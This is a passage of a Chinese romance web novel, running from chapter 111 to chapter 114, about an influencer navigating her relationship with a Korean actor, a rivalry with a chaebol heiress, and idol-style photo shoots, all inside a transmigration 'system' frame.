“怎么突然说起这个了。”他握着手机的手指用力，烫到发红的耳尖似乎想要给冷掉的大酱汤加热一下。 听着工作人员的提醒，宋玉妍轻笑一声，没有直面回他。 “李株赫xi，我们首尔见。”剩下的话就首尔再说吧。 她拖着小行李箱，上了飞机。这段时间的连轴转，让人疲惫到一靠着椅背就入睡了。 半梦半醒间她似乎又梦到了，那天的星星灯、篝火、烤肉和那一段的回来的路途。 不同的是，她主动挽上了对方的手臂，然后抱住了他的瘦腰，不知不觉中靠在了粗糙的树身上。动作的摩擦间，两人发梢上的水珠，滚入了不知道谁的衣领里。 温热清冽的气味，仿佛能够闻到冬日里雪岳山的空气。稍稍拉开一些，又是属于海洋湿润潮腥的味道…… 飞机一个颠簸，悬空感让她从睡梦中惊醒。 拍了拍有些升温的脸颊，定定地看着窗外的云，宋玉妍有些魂不守舍。 这段航程有些慢啊。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 第一百十一章 下了飞机，看到崔宝祯的消息，宋玉妍只觉得好笑。 不愧是财阀，就算披着再温柔善良好亲近的面孔，也不能掩盖血液里利益至上的贪婪。 她没有着急回复对方，现在两人之间的需求关系完全颠倒了过来。 宋玉妍没有那么迫切想要和对方一起拍摄视频，而崔宝祯暂时找不到比她更合适的合作者。 正在华克山庄里休息崔宝祯，看着助理拿过来关于剧组大大小小的琐事，有些懊恼。 当时为什么就对宋玉妍那样冷漠。就算知道她遭受了不好的风评，也可以先敷衍着，推脱说自己比较忙。现在可以把这些事情，直接丢给对方处理。 在她和宋玉妍的这段关系里，只要付出一点点物质上的东西，就能少很多烦恼。不管是情绪价值还是解决问题的能力，放在她的团队里都是独树一帜的。 她伸手接过助理手里的文件夹，烦躁地把纸张翻地哗哗作响。 “阿西，我给你开这么高的年薪，你却连这样小的事情都处理不好吗？” “小姐，我从未有过在演艺圈从业过的经历，这些事物非专业人士确实是不太好上手。” 助理也很委屈，她学习的也是金融专业的知识，毕业之后是在投行工作了很久。 谁知道现在的老板会让她做对接剧组这样的杂活，因为对一些默认的规则不熟悉，还让崔宝祯被坑了很多钱。 她很想问，为什么宋玉妍能做好，助理却做不好。但还是花上所有的力气，把诘问的语气给摁下去。 “你不 会，你不知道找一个会的人吗？” 崔宝祯揉了揉眉心，只觉得明明自己还很年轻，也经常去美容院。但是这段时间额头上的纹路冒出来一道接着一道，让她看起来憔悴了很多。 质地偏硬的文件夹被摔在光滑、昂贵的大理石上，发出的声音让助理打了个哆嗦。 “小姐，靠谱的人也不是那么好找的。”不是每一个人都能像宋玉妍那样，既能把事情做的漂漂亮亮，又能提供情绪价值。 联系不上宋玉妍的这段时间，崔宝祯都觉得日子过的不舒心了。 先是汉南洞那位又在网络上挑衅，让网民又看了一顿sk集团和她妈妈的笑话。然后是拍摄项目里的员工开始磨洋工，拿着钱出工不出力。就连投资的理财都亏损了很多。 这让她开始反思，是不是宋玉妍的命数和她比较合，找个时间让巫师看看。 “小姐，要不你让宋玉妍xi继续负责，我在旁边辅助。” “你以为我不想吗？”崔宝祯没好气地瞪了她一眼，有些人她在那里不显山不露水，等一离开重要性才被突显出来。 “没想到啊，她居然能从那样声势浩大的舆论中脱身。” 她的手指在沙发上轻点，这是思考的时侯无意识的小动作。 这些年她随手洒下过很多鱼食，一直是抱着打发社会底层人的心态，没想到这次居然被网到了一条大鱼。 “你拿着我的卡去爱马仕定一个樱花粉的稀有皮包包，到时候和配货一起给宋玉妍送过去。态度一定要诚恳，姿态一定要低，尤其是弯腰的幅度。然后和她说，我这段时间实在是太忙了，没有顾得上她那里。” “内。”助理有她黑卡的副卡，她也想着赶快把宋玉妍哄回来。不然这样24小时没有休息的工作，是真的一天都干不下去了。 取好行李的宋玉妍，一边把自己的ins账号里的简介，加上一行cilo主理人。一边把先出来的白色行李箱从转盘上拿下来。 在给李株赫发消息的时侯，走向出口，手被一个男人拉住了。 “保姆车不在这里，银河她们已经在那边等着了，晚上还有人歌的预录呢，要快点去美容室。” 宋玉妍抬头，莫名其妙地看了他一眼，摘下墨镜，说：“我不认识你。” “我知道你在和公司吵架，但是该做的工作也要做啊。”男人完全自说自话，扯着她往贵宾通道那边离开。 “不是？gfriend这个团也就6个人吧！你是staff居然连自己团的成员都会认错？” 宋玉妍只觉得分外荒诞，6个人而已又不是25人那种大型团。 他惊讶地看了一眼宋玉妍，对着她的面容上上下下地扫了一圈，像是在做最后的确认，然后才道歉。 “米亚内，我有些脸盲，看错了抱歉。” 看到他离开的背影，宋玉妍摇了摇头，转身就把这件事情给发到ins上。 「刚刚在机场，被gfriend的工作人员认成组合里成员了，可能我看起来更像是爱豆吧。」 宋玉妍才不管她的这番话，会不会引起buddy对公司的新一轮讨伐，只觉得小公司就是小公司。 完全接不住成员拼死拼活争出来的爆火，运营能力简直没眼看。 但是在她的帖子下，buddy们的嘴超级甜。 「欧尼超级漂亮，就算是插进去和女友她们一起跳《时光流逝》也毫无违和感呢！」 「全能ace！欧尼的舞蹈力度很适合我们诶。」 「就是就是！如果欧尼加入的话，我们就是三门面的组合了。」 「对的对的，三个人美我三跳。」 …… 看到被关键词引来的粉丝评论，宋玉妍捂着嘴笑，一边笑还一边点赞。 虽然她知道这样的评论只是玩笑话，她的长相就注定和gfriend风格不兼容，但是赞美的话谁不喜欢听？ 宋玉妍打电话问了一下cilo的宣传部，第四季度的代言人有没有敲定？如果没有的话就定下小女友吧。 南韩的代言一般都是一个季度签一次，只有像演员或是很长红的艺人才会签订年度的合约。 发达的娱乐产业让艺人更新换代速度快，有些爱豆组合可能像流星一样红过一阵，但不能一直维持着高人气。 就像是gfriend，就算是小公司女团之光，去年还能和twice打的有来有回，今年的发展势头就明显有些跟不上了。而品牌方为了利益最大化，都是缩短代言的时间，谁红请谁代言。 希望她们的下坡路能慢一点，花路更加辉煌一点。 擦身略过去的保姆车里，半张侧脸像是某个世界的好友。 秋日的黄昏来得更早，晨昏交界的时刻也更短。有些幽暗的道路在橱窗里散出的灯光和路灯下更加明显，拐上更加宽阔的道路。夕阳最后一抹余晖，为鳞次节比的高层建筑镀上一道边缘的金光，随后归于沉寂。 到家之后的宋玉妍看到指纹锁上贴了一张便签，一看是崔宝祯助理的，当即撕下来扔到了垃圾桶。 现在还不是时侯，既然对方要和她谈利益，那就要开出一个足以让她心动的价码。 洗漱完之后，宋玉妍躺在床上，和李株赫打电话。 说起这段时间的经历，和崔宝祯之间的故事，那些熬过的夜、焦虑的情绪被她用最平静的语言轻描淡写地带了过去。 “为什么不和我说呢？宋玉妍xi？”是敬语，但是透着一股隐隐约约的生气。 虽然很高兴，宋玉妍选择把这些事情和他倾诉，但又烦躁她的不信任。 李株赫的低音炮，磁性又有厚度的声音传来，在她听来像是睡前的催眠曲。 “因为欧巴你当时在部队呀不想麻烦你。”宋玉妍又是尾音上翘，带着一股慵懒妩媚。想用撒娇把这个话题撇过去，甚至都用了很久没有说过的那个称呼。 她才不想说实话，因为在崔宝祯那里碰了壁，对所有人都不信任，干脆自己累一点解决这个事情。 李株赫在电流声之后停顿了一会，揉了揉耳尖。 “你知道的，我不会拒绝你的。” 这是他第二次说这句话，宋玉妍故作娇媚的腔调凝固在喉咙处。 “你在服兵役，一点事情都有可能引来网友的讨伐。甚至yg在当时承认我们两人之间的恋情，也不是很聪明的做法。” “宋玉妍xi，我从来没有考虑这些，只是因为和公司之间的沟通上出了一些问题。如果你真的遭遇不实传言的困扰，我一定会第一时间出来澄清。” “哪怕这样会影响你后续的职业生涯？” “哪怕这样会影响我后续的职业生涯。”就像是之前宋玉妍拿他炒作的那样，都是李株赫心甘情愿的。 “pabo。” “总要有些东西比你说的那些要重要，我不是pabo。”从第一次见面在GD的局上，他就不后悔认识了宋玉妍。 听到他的答案，宋玉妍有些不知道盖如何回答，明明很轻松的聊天氛围，此刻有些沉重。半响，她又低声从被胶水粘住的喉咙里吐了一句：“不愧是江南太子，少爷……” 如果是她是绝不会让感情损害到自身的利益，偏偏李株赫和她就像是相反的两个极端。 黏在柔软床单上的脊背泛起一阵阵战栗，这样新鲜的感受让她像是喝了一大杯伏特加和威士忌混合在一起的酒液，奇异又带着忧戚的酩酊感让她的脑子糊成一团乱麻线。 “明天有时间吗？”李株赫决定不再乘胜追击。 “内。” 电话挂了之后，宋玉妍还愣愣地看着手机，像是又很多未尽的话语没有说完。 一直以来，她都是这段感情里的掌控者。理智地选择开启这段恋情，又因为职业的发展而选择分开。 从游刃有余到现在微妙的脱轨感，是从什么时侯开始的呢？ 大概是那一晚上，李株赫帅气的脸庞能够给人安心的感觉。或许是那天晚上的韩牛的味道，让她留下了深刻的印象。 第112章 第一百一十二章 拖着在外奔走了一天、十分疲惫的身体，宋玉妍刚抬起手指，无力地摁上指纹锁。 “宋玉妍xi。” 身后突如其来的声音把她吓了一跳，条件反射般地脖子一缩、打了个冷颤。她一转身看着一身黑的李株赫从昏暗的楼梯间内，慢慢走向灯光辉映处。 如果不是对他的身形足够熟悉。宋玉妍也不会把这个穿着黑风衣、帽檐拉得低低的、宽大黑色的口罩把下半张脸完全遮住的男人，和t台上那个光芒四射的模特联系起来。 她轻轻抚了抚胸口，像是想要让不安的心脏回到它该有的频率上。 “你为什么突然出声？还穿成这样？” 听到她略带质问的语气后，李株赫脸上只裸露出来的眼睛像是疑惑？委屈？ 他的眼睑垂了下来，这让他原本下落的眼尾下落的幅度更加大了。看起来像是涂了一层秾丽的眼线。 他用修长的手指单手勾住口罩的细线，声音沉闷道：“昨天不是说好在你家一起吃饭？因为怕被人认出来，所以穿成这样。” 宋玉妍用手腕轻拍了一下额头，忽然想起来了，现在都快九点了，让李株赫等的太久。 这让她不太好意思对上那张精致立体的脸。半是逃避、半是心虚地挪开了视线，侧过身让出一点位置，示意对方先进来。 玄关的灯没有开，男人的影子从外投射到内，随着步幅的移动，完全将她笼罩。看到他一步一步地靠近，宋玉妍有种微妙的自己私人领域被另一个人入侵的感觉。 抬眼看着李株赫的下半张脸，昏暗的环境像是为他的五官抹上了一层修容。 有了黑暗做修饰，加上高大的身形，有种不同于平常的气场。他硬底的皮鞋每在地板上敲击一下，她的心脏就跟着颤动一下。 等李株赫完全跨过门槛，她没有急着给他拿拖鞋，而是把外套脱下放在了衣架上。 黑色丝绸包裹着的身体，从他和鞋柜的缝隙中穿了过去，把门关上。看着因为给她让位置而锁在角落的男人，高大的身体看起来有些可怜。 宋玉妍经过他时，踮起脚把他的帽子随意摘下，像是不小心一般，落到了地板上。指尖勾住落下口罩的细线，从他的脸颊滑倒耳后最后停留在脖颈处。 细腻柔嫩的指尖像是在调情，最后停留的时候，还微微蜷曲了手指。 高挺的鼻梁给黑色的口罩撑起了一道明显的弧度，半张脸被遮住有种覆面系的神秘感。 这让宋玉妍的心脏抽缩地更加快了，这样的李株赫完全是踩在她不为人知的审美点上。 不小心蹭到锁骨，李株赫好像更加瘦了，南韩军队里的伙食是在虐待他吗？ 身体完全抵在墙壁上的男人，眼底的墨色浓郁，双手背在身后，看起来像是引颈就戮的羔羊。微微弯曲的膝盖，让他看起来不像表面那般无害，像是一只随时准备捕猎的猫科动物。 宋玉妍踮起的高度更加高了，双手环着李株赫的脖颈。微微扬起的脸蛋，皮肤白得晶莹，几缕卷发落在他的肩头。 下一秒，她把温热的嘴唇印在口罩上方、眼睑下方，一触即离。 “米亚内，让你等得有些久了，这算是我的赔礼道歉。”黏黏糊糊的词句像是融化的蜜糖，上翘的尾音带着不动声色的引诱。 不知是皮肤的接触带来的痒意，还是她小钩子一样的的声音，让李株赫有些不习惯地垂了垂眼眸。 背在身后的手指用力地拢成一团，才克制住心底疯长的欲念。他的手在在墙壁上一寸一寸地摸索着，用的力气几乎可以把墙皮扣下来。 “哒”灯光亮起，室内明亮如昼，照得他耳尖通红。 他把放在门边的袋子提起，没有看向宋玉妍，就好像刚刚那个吻不存在一般。 “冰箱在哪里？” 随着宋玉妍手指的位置，李株赫把袋子里的东西一点一点拿出，打开空落落的冰箱，有些无奈。 “金枪鱼、鳗鱼我给你冻起来，后面记得吃，辣白菜和猪蹄给你放在了冷藏，记得尽快吃完……” 他一边嘱咐，手里的动作不慢，看起来和他的长相一样华丽。 很平常的动作，被他做出了广告般的效果。 看着他像是对刚刚那个吻毫不在意一样，宋玉妍撇撇嘴唇，只觉得没有意思。 “你又不是不知道，我平常工作这么忙，不会有时间分给料理的。” 李株赫就当是没有听到，大不了平时他多敦促她按时吃饭，或者多来几次帮她做好。归置好后，他把今天要用的食材端去厨房。 不一会，一个泡菜拼盘就被端了出来，辣白菜、苏子叶、韭菜、萝卜片，按照色系的由浅到深排列。 但就算看起来再精致，也不能忽略这都是泡菜的事实啊！ 宋玉妍：“你说的做饭，就是这样的一碟泡菜？” 李株赫问了一句围裙在哪里之后，把风衣脱下，系在劲瘦的腰上。 “这是偶妈亲手做的，她让我带一点给你尝尝。” 说完，他又转身回到厨房。 看着桌上的那一碟泡菜，宋玉妍直楞楞地盯着花纹，对方的言下之意她好像……明白了。 磨砂的玻璃里是男人的有条不紊的身影，厨房里升腾的烟火气好像能变成漂泊灵魂的镇定剂。 灵魂被暂时填满、发烫，让她的眼眶有些微红，从门的缝隙里飘过来的空气中似乎也有一股暖流萦绕，透着一股岁月静好的味道。 她推开门，走进去就看着李株赫费力地挥舞着锅铲。锅里的小黄鱼看起来可怜极了，鱼鳃都被铲碎了，黑焦的表皮里透出半生不熟的白腻肌理。 沉默了很久，宋玉妍：“真的可以吗？要不还是我来吧。” 他用手背擦了擦额间上的细汗，“煎蛋卷和海带汤已经好了，实在不行就吃那两个吧。谁都不是一开始就会做饭的，多做做就好了。” 幸好他在家苦练了很久的煎蛋卷，这不至于让他的厨艺太拿不出手，在宋玉妍面前露怯。海带汤是偶妈做好，带过来热一下就可以的。 听到这样的话，宋玉妍拦住他想要把煎鱼倒入垃圾桶的动作。从橱柜里拿出一个精美的瓷盘，把卖相不好的菜肴给装进去。 她一边揽着李株赫的腰，帮他解开围裙的系带，一边说道：“不管怎么样都是你的成果，尝一下吧。” 拗不过她，李株赫故意用沾染上油烟的手蹭了蹭她的发丝。 “呀！欧巴！”怎么年上也变得这样幼稚，宋玉妍没好气地嗔了一句。 “吃饭吧！” 做到餐桌上的宋玉妍才想起来，刚刚是要质问对方，现在两人之间的关系的。 她放下了筷子，沉了沉心，尽量让自己看起来严肃一些。 “我们现在这是什么关系？欧巴为什么不主动表白？不算是第二次的一日吗？” 李株赫现在倒是有了年上的沉稳了，给她夹了一块蛋卷，又舀了一勺汤。 “莫？什么什么关系？”他挑了挑眉，气定神闲从眼角眉梢里溢出来了。 看到宋玉妍像是被他气到不想说话的之后，他才慢条斯理地把手上的袖口的扣子扣好。 “一直都是男女朋友不是吗？中间就算是有过吵架，那不也是和好了吗？” 一道疑惑划过脑海，宋玉妍歪了歪头，眼底闪过不解的神色。 “和好？什么时候和好的？” “只有女朋友才能去部队里探望呀！”李株赫像是“好心好意”地给她解释。 “所以也就不存在所谓的第二次一日了。” “可是我都在ins上否认和你正在交往了。”宋玉妍像是被他绕进去了，顺着他的逻辑往下说道。 “没关系，就当是我们之间的恋情转战地下了。”李株赫用气音低声说到，还真有几分地下恋情的氛围感。 —— 崔宝祯的助理上门拜访了好几次了，每次都扑了个空。明明她是严格按照商务礼仪，在周三、四上午十点，就是找不到人。 宋玉妍住的公寓，三个轮流值班的保安都认识她了。再找不到人，不用崔宝祯赶，她自己离职。一天24小时干20小时的活，这日子真的是一天都过不下去。 等她第六次提着各种的礼品袋在门岗那里登记询问，“你好，请问能帮忙联系一下宋玉妍xi吗？我想要登门拜访一下。” 这次保安没有一口拒绝她，说什么住户不在家的话，在值班室打了个电话之后。把她放进去了，电梯卡从窗户中 递了出来。 “你跟着标识走，到时候拜访完了，电梯卡记得归还。”保安说完给她刷了门禁，又继续盯着监控了。 李秀敏舒了口气，多次的扑空让她原本不耐的心情，此刻多了一丝成就感。她见崔会长都没有这么费力，宋玉妍……真的是。 等礼品放在玄关的地上。宋玉妍瞟了一眼各种橙色的礼袋，又漫不经心地挪开了眼睛，客气又虚伪的笑容浮现在她的脸上。 “不好意思啊，这段时间太忙了，先是在种花忙新产品的推广，然后又去盯下个这个季度的宣传方案。” 看着和自家老板如出一辙的笑容，李秀敏的心脏被提了起来。这……这是她的词啊，崔宝祯原本的借口被宋玉妍用了，她还能说什么？ 至于这样的客套话，她不会当真的。如果真的热情的话，不至于一杯热水都不给上。 “宋玉妍xi。”她组织好措辞，刚开了一个头就被打断了。 “你喜欢喝什么茶？我刚从种花带了很多特色的茶叶，要不要尝一下？” 第113章 第一百一十三章 李秀敏的笑容僵在了脸上，只觉得坐立难安，柔软的沙发上像是长了无数根针。 “不用了的，我就是……” “没关系的，秋日喝一点红茶比较好，正好我这里有今年的金骏眉。” 宋玉妍像是没有听出她的不情愿，再一次打断了她的话。 慢慢吞吞地从餐边柜里拿出一套白瓷茶具，再慢慢吞吞地摆好茶盘、分好茶叶。手上的动作完全不着急，倒是坐在沙发上的人一直在抬手看表，两人形成鲜明的对比。 李秀敏有求于她，自然不能打断她的动作，只能眼睁睁地看着对方行云流水般地烧水、烫杯、摇香。 再好的茶叶都会有梗，双手捧在胸前，微微用力地上下。和轻薄的瓷杯发出的碰撞声清脆，下一秒盖碗就被递到她的面前。 没有喝茶经验的人手足无措地接了过来，捧在手里小心翼翼地怕摔了。 宋玉妍：“可以揭开盖子，闻一闻花果香。” 李秀敏完全跟着对方的节奏走了，握着盖子的手指用力地骨节都要凹进去了。机械地跟着主人的指导，又机械地闻了闻盖子上所谓的花果香。 没有再为难她，注水之后，宋玉妍给她分了一杯金黄色的茶汤。她自己垂着眸，小口地啜饮，上升的水汽氤氲沾湿了她的睫毛。 “宋玉妍xi，小姐的意思是《蛇女》那边的工作，可能还是要你多多上心。” 李秀敏决定直接开门见山，如果继续兜圈子，她在这里耗费一上午时间都打不住。 茶盘后方的女人没有立刻回答她，而是看着杯子里的茶汤。“李秀敏xi，你觉得这个茶这么样呢？” 李秀敏：…… 她没有怎么喝过茶，又一直在想着怎么开口说出她的来意，注意力完全不在这个上面。宋玉妍说的那些什么醇厚回甘、花果的清香她是一丝都没有尝出来。 但她还是打起精神，勉强应和道：“很不错的味道，是我喝过所有茶叶里，最好的了。” 还想继续憋出几个词语，夸一夸具体好在哪里，但是对茶的知识实在了解的太少了。 “这款茶，最好用的器具是白瓷，玻璃也行但是留香差了一点。” 宋玉妍像是在打哑谜，“要选择最适合的茶具，去配这样好的茶叶啊！” 兜圈子的说话方式，是李秀敏最熟悉的。稍稍一反应就明白了，这是在隐晦地表达不满。 “我后面还要忙自家公司的事情，很多推广的vlog没有拍，下一期的脚本策划也没有写。恐怕没有那么多经历去负责其他的事情，崔宝祯xi手下人才济济，我就不凑这个热闹了。” 听到宋玉妍这样自谦的话，李秀敏苦笑，要是真的像她说的那么容易就好了。 拍摄这件事情不能让崔会长知道，能够选择助手的范围本来就小，况且崔宝祯还抱着以此和宋玉妍破冰的打算。 喝完之后，宋玉妍把自己的茶杯放了下来，也不继续注水。看她没有反应，直接把自己的杯子倒扣在茶盘上。 看到她还是没有反应，忍无可忍道：“您可以把礼物收回去，我这里就不久留你了。” 听到这话，李秀敏才反应过来，她是在赶客。 “送出去的礼物，没有收回来的道理，你也了解小姐的性格。” 以退为进？可惜她不吃这一套。宋玉妍似笑非笑地看着她，完全没有起身相送的打算。 出了小区，李秀敏反复调整了好几次呼吸，把因为受到冷遇后，糟糕的情绪压下去。 明明之前宋玉妍对她不是这样的态度，说话一直都是轻声细语的，很多事情都会先请示。 等冷静下来，她的声音恢复成之前古井无波的状态后，才给崔宝祯打了个电话。 “小姐，她拒绝了。” “什么？她拒绝了？你是怎么干活的？这样的事情都做不好？我不是说了吗？姿态要低。” 崔宝祯因为诸事不顺，此时的语气和平常的温柔大相径庭。 “你做不好的话，总不可能让我去和宋玉妍服软吧。”越说她越觉得有道理，也许对方就是抱着这样的打算呢？ 既然爱马仕已经打动不了她了，那什么有用呢？崔宝祯苦恼地换了个姿势，坐在沙发上为难地咬了咬嘴唇。 当听到助理说对方现在的工作重心都放在美妆品牌上后，她忽然想到了IP联名。 足够大势、契合的IP，应该能够打动宋玉妍。而她手下恰好有之前买的插画师绘制的「线条小狗」。 可爱的马尔济斯犬和它的好朋狗小金毛的表情包一上线，就获得了无数韩国人的喜爱。 “你去打份合同，有时间再去拜访宋玉妍。”崔宝祯怕她心气高傲，略带着警告说道：“这次再没有结果，你直接交离职报告吧。” 她干不好，有的是人能干。 —— 在宋玉妍的软磨硬泡之下，姜升润答应帮忙拍摄一期爱豆打歌舞台的写真。甚至还借用了yg的某个练习室。 至于爱豆写真的灵感，自然是来源于gfriend工作人员那一句无心之失。 姜升润本来是打算拒绝的，但是抵不住她一口一个“亲故”。最后还是帮她和公司联系，借了一个练习室。 “亲故呐，你们yg的练习室怎么这么暗，居然还 是地下室。“宋玉妍地微笑，看着他把所有的灯光开到最亮，室内的昏暗环境还是没有改善。 “没办法，我们公司就是这样的环境。”姜升润看着这间练习室，眼底闪过一丝怀念。 他在这里练习过无数个日日夜夜，出道前的battle战，这里见证了他所有的泪水和汗水。 “好吧。”宋玉妍稍稍扭动了一下嘴唇，眼睛倏忽地亮了亮，仔仔细细地打量着这个练习室。 “可以布置成暗黑风格，主题就是美艳吸血鬼和她的蝙蝠怎么样？”她一边在手机上敲敲打打地记录着，一边询问姜升润的意见。 光源不够的话可以在置景后面加灯光，到时候栅栏上缠绕的玫瑰花要是鲜艳的、浓丽的暗红色。 “那谁是吸血鬼？谁是蝙蝠。” 宋玉妍似笑非笑地斜了他一眼，流转间现出一丝媚态。 “你说呢？” 姜升润苦笑了起来，感觉自己再一次上了贼船。但上一次和她合作的效果不错，也就没有不想干。 看到他无奈苦涩的表情，宋玉妍拿出按照他身材定制好的服装。 “不会委屈你的，就算是蝙蝠，你也是最帅气的那只蝙蝠执事。” 看到图片里双排口黑丝绒西服，领口上ysl银色胸针典雅贵气，姜升润还能有什么不满意的呢？只能竖起拇指夸宋玉妍大手笔。 这一组写真也无一例外的出圈了，原本简陋昏暗的yg练习室被装饰的暗黑华丽。 图片中心的姜升润，穿着古典的丝绒西服，单膝跪地微微俯下身体，金色的头发仿佛是从中世纪走出来的子爵。 戴着和他一致银色耳麦的宋玉妍看向镜头，银色的亮片裙包裹着匀称而姣好的身体。眼神锐利而妩媚，素手从栏杆上折下一支玫瑰花。 「大发！姜升润完全是门面级别的美貌！」 「不得不说宋玉妍xi的审美真的很不错，每一次写真都是他的人生照片。」 「我刚刚把她的公主切发型给理发师看了，他让我选择这个发型慎重一点，还说不是每一个人都长她那样。」 「完全华丽的脸蛋！！！」 「如果她是爱豆的话，神颜我肯定给她投票。」 「和我男友勉强拍了，我把他脸遮住，大家将就看一下吧！kkk」 …… 在ins刮起一阵仿拍潮流之后，宋玉妍看着突破了400万粉丝大关的主页，笑得嘴角都放不下来。和姜升润一起碰头修视频的时侯，她的手指还在各种仿拍艾特她的帖子下点赞。 看到她旖丽的五官越发明艳妩媚，他有些好奇地把头凑了过去。“笑得这么开心？” “现在是你的粉丝数的两倍，我当然开心了。”宋玉妍嬉笑地怼了一句。 他也不生气，反而很骄傲。“那当然，你可是wuli亲故呀。” 后期老师在修片的时侯，很不得捂住自己的耳朵。这两人实在是太吵了，而且两人的要求都不一样。 一样的只管自己好看，不顾对方死活的那种。 如果说照片里还有一丝性张力，那么他们两个人的视频里对视，都好像是在透过对方的眼眸欣赏着自己完美神颜。 看视频差不多修完，把姜升润之前拍照戴过的银色碎钻定制耳麦送给他。 “给！就当是报酬了，特别定制的，音效还不错。” “我一个人戴，和团队成员不一样不太好吧！” “阿西，为你花了快三千万韩元，还想我把你们整个团的耳麦都给包了？”她就没有看到过，这样吃亲故软饭的。 “怒那，你一条推广就能抵得上我们整个团一场校庆的出场费了。”姜升润把玩着耳麦，可能只有年末舞台才能用上了。 “少来，你才是真的版权富人。” 「少来，你就会说这些哄我。」 李株赫的消息让宋玉妍看得有些心虚。看着视频发布后，自家男友吃醋，她开始疯狂头脑风暴，想着怎么把他哄过去。 「欧巴，虽然是和他一起拍写真，但是灵感来源是你啊。」 她发送了好几组《夜行书生》里白毛鬼的图片。 「尤其是脸上留有血迹的那张，完全华丽的长相！！」 「下一次发照片前，先把水印去掉。还有夸人的话术不要直接复制粉丝的评论……」 第114章 第一百一十四章 被戳穿了的宋玉妍也不恼，「我说的是实话，灵感来源就是你的角色白毛鬼。」 「每一次你都这样说，最后拍照都是和姜升润拍。」 屏幕后的李株赫觉得这样的词句打出来，有股莫名的拈酸吃醋的感觉。 就算她把姜升润看成另一种意义上的“替身”，也不能让李株赫忽略心中那股不忿的、微妙的妒火。他当然能看出来，姜升润和这两次的风格并不适配。 他想要撤回上一句话，但是现在的kkt没有这个功能，一不小心就点在了删除键上。 李株赫：…… 「刚刚不小心摁错了。」 看到他这样的反应，宋玉妍只觉得好笑，怎么会有人用这样拙劣的借口。就像是大型的猫科动物悄悄地贴过来试探，撤走时虽然灵活，但是脚印已经陷在泥土里。 「那要不我们再拍一组吧。正好栅栏上的玫瑰花将落未落。」宋玉妍提议道。 开到荼靡的暗红玫瑰花和李株赫立体精致的脸蛋很搭。 内心窃喜到打字都像是轻飘飘地按在云端，敲击的声音都变得悦耳动听。 李株赫：「内！」 虽然知道宋玉妍所谓的灵感来源，是在哄他，但他还是向《夜行书生》剧组，借了当时的戏服。 玄色外套上的金色绣线和内衬里的暗红相得益彰，只可惜服役时把头发剪短了，长度不够，不能做卷。 当他换好衣服，拿着折扇、戴着朝鲜黑笠出来时，让宋玉妍的眼睛亮了一下又一下。 随着他的走动，珠串在鬓边轻轻摇曳，秾丽又冷峻的长相带给人第一眼的冲击力。 原本在这个练习室打卡的爱豆，看到李株赫这样出来，纷纷捂着嘴。 “完全大发，不愧是演员。” “门面级别的美貌！！” “即使是看过很多次，也依旧不敢相信的神颜！” 原本拍照的爱豆们看着他一步一步地走近，纷纷打招呼鞠躬，然后告辞，把空间让给他们。 这样的妆造很适合李株赫，化妆师用烟灰色把他的眼睛拉的狭长。小鹿眼褪去了无辜感显得更加深邃，好像要把人吸进去，这让他透着一股神秘强大的气质。 宋玉妍看着自己在种花定制的复古红丝绒旗袍，金线在裙摆上绣着的玫瑰花倒是和他的衣服，莫名相搭。 “你没有和我说会借这一套。” 她的旗袍虽然很好看，但是和这种能够带李株赫出圈的妆造相比，还是略逊一筹。有种被比下去的感觉，这让她的语气听起来很复杂。 “你还给姜升润定过G&D和ysl的西服，我看过，都很漂亮。” 就这样的一句，把宋玉妍的其他堵在嗓子眼里的话都给堵了回去。 她自知理亏，但还是有些不爽地嗔了一眼。不过就拍过两次照片，想要带他一起出去露营，就这三件事情李株赫到底还要记多久？ 像是知道宋玉妍情绪不高，他用折扇遮住工作人员若有似无的窥探视线。在她耳边轻轻呼气道：“不是有句话叫做：丈夫的容貌，妻子的荣耀吗？最后的成片出来，你的荣耀不会少的。” 李株赫承认，他费劲心思把之前剧组的戏服借过来，还花重金把当时的化妆师从已经进了的剧组里捞出来，就是存着想和姜升润较劲的意思。 因为宋玉妍……都没有花钱给他定制过西服。 “呀！都还没有结婚！” 她像是有些恼羞成怒，上扬的狐狸眼眼尾像是透着薄红，脸颊上的粉云颜色又加深的倾向，嘴唇抿紧成一条直线。 “开始吧！光影、布景都已经调好了。”摄影师看着两个如出一辙的浓颜系 美人，隔着镜头都觉得呼吸一滞，完全就是怪物级别的美貌。 两人不约而同地扫过来的眼神，看得人心脏漏了一拍，然后像是遇到热水的巧克力，不自觉地开始融化。 男人把长长的衣袍铺在地上，用手禁锢在女人的胸前。对视时的表现力呈现出一股势均力敌的张力，应该处于弱势方的宋玉妍，手里藏着一把匕首。 从裙角泄露出来光裸、滑腻、莹润的肌肤，夹杂着反射出一点，独属于金属器械的冷光。 摄影师一边灵光乍现按着快门的手指不停，一边指导两人微微调整一下动作，一边不停地叹气。 要是能把这组写真放到他的SNS上，到时候他的名气肯定会进一步扩大。 只可惜在拍照之前，宋玉妍就和他签过保密协议了。不允许私自发SNS，拍摄完之后，所有的底片都要删除。 两人都是经验丰富的从业者，不到一个小时，拍摄任务就结束了。 宋玉妍看着一张张可以原图直出的照片，满意地点了点头，不愧是价格昂贵的摄影师，审美很在线。 看着他苦涩地把底片一张张传过来，再一张张删除，她把尾款结清之后就让对方下班了。 回去的路上，李株赫能够感觉到宋玉妍有些闷闷不乐，把今天所有的事情都回想了一遍。 他一边打方向盘，一边看着她的脸色开口道：“我应该把你的衣服也给准备好的，你看看ElieSaab的高定有没有喜欢的，有的话定一条我们下次拍照的时侯穿。” 宋玉妍摇摇头，“不是这个原因，只是觉得这样好看的照片不能发出来可惜了。” “怎么会呢？我看结婚的时侯用来做迎宾照片很合适，还可以打成小卡片送给来宾当伴手礼。” 听到李株赫这样不着调的建议，她倒是没有什么低沉的情绪了，只是在他的肩膀上轻轻拍了一下。 “少来。” 别人结婚的伴手礼都是高定香水、奢侈品牌小样沐浴用品、定制的巧克力。怎么到他这里还能送两人的写真？ 看着浸没在手机里，给粉丝点赞的宋玉妍。李株赫沉吟了片刻还是说道：“你想发的话，那就发吧！没关系的。” 听到这话的人，她手上的动作停顿了片刻，不自然地拉了拉安全带。好像是想要把它扯松，让心脏上压着的那一块铁板挪开。 “算了吧，也不是特别想发。” 如果是之前的宋玉妍，听到李株赫这样的提议一定会毫无犹豫地同意。 能够帮她增加热度、炒作话题的帖子，为什么不发？但现在她……是学会为对方考虑了，虽然不会损害自己的利益。但是这样对李株赫百害而无一益的事情，不会去做了。 她捂着自己闷闷直跳的心脏，它有些不受控制了。 「系统，我还有多久能够离开这个世界？」 「宿主，粉丝达到500万就能直接离开了，被攻略者的好感度已经满值了。」 